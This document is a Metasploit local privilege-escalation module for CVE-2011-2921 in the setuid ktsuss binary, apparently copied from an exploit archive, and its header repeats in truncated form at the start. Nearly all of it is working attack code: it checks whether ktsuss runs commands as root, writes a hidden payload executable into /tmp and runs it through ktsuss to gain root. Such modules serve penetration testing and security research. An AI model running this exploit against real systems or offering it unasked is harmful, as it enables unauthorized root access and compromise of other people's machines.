ktsuss Suid Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'ktsuss suid Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges by exploiting
a vulnerability in ktsuss versions 1.4 and prior.

The ktsuss executable is setuid root and does not drop
privileges prior to executing user specified commands,
resulting in command execution with root privileges.

This module has been tested successfully on:

ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64); and
ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'John Lightsey', # Discovery and exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2011-08-13',
'References' =>
[
['CVE', '2011-2921'],
['URL', 'https://www.openwall.com/lists/oss-security/2011/08/13/2'],
['URL', 'https://security.gentoo.org/glsa/201201-15'],
['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2011-2921/ktsuss-lpe.sh']
],
'Platform' => ['linux'],
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'DefaultOptions' =>
{
'AppendExit' => true,
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependSetreuid' => true,
'PrependSetuid' => true,
'PrependFork' => true
},
'DefaultTarget' => 0))
register_options [
OptString.new('KTSUSS_PATH', [true, 'Path to staprun executable', '/usr/bin/ktsuss'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def ktsuss_path
datastore['KTSUSS_PATH']
end

def base_dir
datastore['WritableDir'].to_s
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def upload_and_chmodx(path, data)
upload path, data
chmod path
end

def check
unless setuid? ktsuss_path
vprint_error "#{ktsuss_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{ktsuss_path} is setuid"

id = cmd_exec 'whoami'
res = cmd_exec("#{ktsuss_path} -u #{id} id").to_s
vprint_status res

unless res.include? 'uid=0'
return CheckCode::Safe
end

CheckCode::Vulnerable
end

def exploit
unless check == CheckCode::Vulnerable
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

payload_name = ".#{rand_text_alphanumeric 10..15}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe

print_status 'Executing payload ...'
id = cmd_exec 'whoami'
res = cmd_exec "#{ktsuss_path} -u #{id} #{payload_path} & echo "
vprint_line res
end
end
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